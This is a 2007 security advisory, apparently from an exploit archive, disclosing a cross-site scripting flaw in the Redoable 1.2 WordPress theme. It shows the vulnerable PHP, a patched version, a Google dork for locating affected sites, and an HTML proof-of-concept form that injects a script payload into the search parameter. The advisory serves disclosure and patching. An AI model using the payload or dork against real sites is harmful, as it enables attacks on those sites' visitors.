Redoable 1.2 Cross-Site Scripting Vulnerability (patch included)

2007.05.22

Credit: John Martinelli

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2007-2757

CWE: CWE-Other

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

note to editors: this patch resolves this vulnerability: http://redlevel.org/wp-content/uploads/patch.zip

<!--

Redoable 1.2 - Cross-Site Scripting Vulnerability

---------------
Vulnerable Code
---------------

header.php (line 6):
... elseif (is_search()) { ?> Search for <?php echo $s } ...

searchloop.php (line 24):
elseif (is_search()) { printf(__('Search Results for '%s'','redo_domain'), $s); }

------------
Patched Code
------------

header.php (line 6 FIXED):
... elseif (is_search()) { ?> Search for <?php echo strip_tags($s); } ...

searchloop.php (line 24 FIXED):
elseif (is_search()) { printf(__('Search Results for '%s'','redo_domain'), strip_tags($s)); }

Vulnerable Variable: s
Vulnerable File: wp-content/themes/redoable/searchloop.php and header.php
Vulnerable: Redoable 1.2 (other versions should also be vulnerable)
Google d0rk: "and Redoable 1.2"

John Martinelli
john (at) martinelli (dot) com [email concealed]

RedLevel Security
http://www.RedLevel.org

May 17th, 2007

!-->

<html>
<head><title>Redoable 1.2 - Cross-Site Scripting Vulnerability</title><body>
<center><br><br>
<font size=4>Redoable 1.2 - Cross-Site Scripting Vulnerability</font><br>
<font size=3>discovered by <a href="http://john-martinelli.com">John Martinelli</a> of <a href="http://redlevel.org">RedLevel

Security</a><br><br>
Google d0rk: <a href="http://www.google.com/search?q=%22and+Redoable+1.2%22">"and Redoable 1.2"</a>
</font><br><br><br>

<center>file <b>index.php</b> - variable <b>s</b> - method <b>get</b></center><br>
<form action="http://www.target.com/index.php" method="get">
<input size=75 name="s" value="</title><script>alert(1)</script>">
<input type=submit value="Execute XSS Attack" class="button">
</form>
<br><br><br>

</form>
</body></html>

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Redoable 1.2 Cross-Site Scripting Vulnerability (patch included)

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.